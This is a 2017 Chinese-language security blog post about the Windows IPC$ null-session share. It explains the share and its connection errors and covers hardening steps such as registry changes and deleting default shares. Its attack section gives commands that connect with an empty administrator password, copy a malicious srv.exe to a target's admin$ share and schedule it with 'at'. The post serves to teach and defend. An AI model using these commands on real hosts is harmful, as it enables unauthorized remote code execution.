IPC$概念及入侵方式研究

catalogue

1. 什么是IPC$
2. IPC$攻击方式
3. 漏洞检测与防御措施

 

1. 什么是IPC$

IPC$(空会话连接)是windows系统内置的一个功能模块,它的作用有很多(包括域帐号枚举),但是其中对于攻击者最关心地还是它的网络文件共享能力,它允许本机的进程/服务以命名管道(named pipe)的形式连接连接上来以实现文件的共享传输,根据对应IPC$共享目录的ACL权限来决定是否可写/可遍历等权限

对于IPC$的概念,我们有几点要明白

1. IPC$和windows的SMB共享都是复用了445端口,它们都基于SMB协议实现,但是IPC$的作用范围更大一些,它是服务器间进程间通信方式
    1) 可以枚举帐号: 当然对方服务器也可以禁用枚举
    2) 共享文件: 基于命名管道named pipe
    The IPC$ share is created by the Windows Server service. This special share exists to allow for subsequent named pipe connections to the server. The server's named pipes are created by built-in operating system components and by any applications or services that are installed on the system. When the named pipe is being created, the process specifies the security that is associated with the pipe, and then makes sure that access is only granted to the specified users or groups.
    3) 执行系统指令

2. IPC$的登录验证方式可分为
    1) 匿名anonymous IPC$: 空账号,空密码可访问,但是匿名IPC$的权限往往较低
    2) 非匿名IPC$: 需要帐号密码的验证,不过这反过来也为黑客提供了一种暴力破解windows系统账户密码的方式
3. IPC$登录后共享哪些目录/文件是可以配置的,如果该共享目录/文件的列表为空,则IPC$登录后无法进行文件共享。早上windows server系统上默认配置了几个IPC$共享目录
    1) 所有的逻辑盘(c$,d$,e$……)
    2) 系统目录winnt或windows(admin$)

0x1: IPC$连接常见错误

错误号5(拒绝访问):很可能你使用的用户不是管理员权限的,先提升权限  
错误号51(Windows无法找到网络路径): 网络有问题; 
错误号53(找不到网络路径):
    1) ip地址错误
    2) 目标未开机
    3) 目标lanmanserver服务未启动
    4) 目标有防火墙(端口过滤) 
错误号67(找不到网络名):
    1) 你的lanmanworkstation服务未启动
    2) 目标删除了ipc$  
错误号1219(提供的凭据与已存在的凭据集冲突):你已经和对方建立了一个ipc$,请删除再连 
错误号1326(未知的用户名或错误密码)  
错误号1792(试图登录,但是网络登录服务没有启动): 目标NetLogon服务未启动(连接域控会出现此情况) 
错误号2242(此用户的密码已经过期):目标有帐号策略,强制定期要求更改密码  

Relevant Link:

https://support.microsoft.com/en-ca/help/3034016/ipc-share-and-null-session-behavior-in-windows
https://technet.microsoft.com/en-us/library/jj852278(v=ws.10).aspx

 

2. IPC$攻击方式

0x1: administrator空口令连接

net use \\121.40.65.98\IPC$ "" /user:"admintitrators"

0x2: 利用IPC$上传恶意样本

copy srv.exe \\121.40.65.98\admin$

我们可以指定把srv.exe复制到目标系统的任何共享目录中

0x3: 在目标系统执行系统指令

net time \\127.0.0.1 
\\127.0.0.1 的当前时间是 2017/5/28 16:58:29
  
at \\127.0.0.1 11:05 srv.exe 
用at命令启动srv.exe吧(这里设置的时间要比主机时间快)
  
net time \\127.0.0.1
如果时间到了,就说明指令已经执行了

0x4: 利用IPC$进行密码爆破

Relevant Link:

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a
http://zhaogao.blog.51cto.com/205189/53712
https://www.giac.org/paper/gcih/466/ipc-share-exploit-methodology-chinese-attackers/103860

 

3. 漏洞检测与防御措施

0x1: 检测本机IPC$共享目录

通过net share列出本机开放的共享目录,理论上这些都应该删掉,为了黑客利用445漏洞入侵后将恶意文件植入类似admin$这种系统核心目录

0x2: 禁止空连接进行枚举

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]

RestrictAnonymous = DWORD的键值改为:00000001

0x3: 禁止默认共享

1. 察看本地共享资源: net share
2. 删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)

3. 停止server服务: net stop server /y(重新启动后server服务会重新开启)
4. 禁止server服务器自启动

5. 修改注册表
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareServer(DWORD)的键值改为:00000000。 
# OR
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareWks(DWORD)的键值改为:00000000。 
# 如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值  

0x4: 永久关闭ipc$和默认共享依赖的服务: lanmanserver即server服务

控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

Relevant Link:

http://www.xfocus.net/articles/200303/493.html?qqdrsign=0301b?qqdrsign=0341a
http://www.pc6.com/InfoView/Article_42319.html

Copyright (c) 2017 LittleHann All rights reserved

posted @ 2017-05-28 17:07  郑瀚Andrew  阅读(5123)  评论(0编辑  收藏  举报